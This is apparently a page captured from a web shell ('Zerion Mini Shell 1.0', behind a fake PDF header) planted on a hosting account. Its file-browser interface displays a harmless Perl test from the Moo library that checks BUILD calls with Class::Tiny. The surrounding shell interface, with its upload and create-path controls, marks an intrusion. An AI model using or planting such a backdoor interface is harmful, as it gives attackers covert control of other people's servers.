%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/xt/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/xt/class-tiny.t

use Moo::_strictures;
use Test::More;
use Class::Tiny 1.001;

my %build;

{
  package MyClass;
  use Class::Tiny qw(name);
  sub BUILD {
    $build{+__PACKAGE__}++;
  }
}
{
  package MySubClass;
  use Moo;
  extends 'MyClass';
  sub BUILD {
    $build{+__PACKAGE__}++;
  }
  has 'attr1' => (is => 'ro');
}
MySubClass->new;

is $build{MyClass}, 1;
is $build{MySubClass}, 1;

done_testing;

Zerion Mini Shell 1.0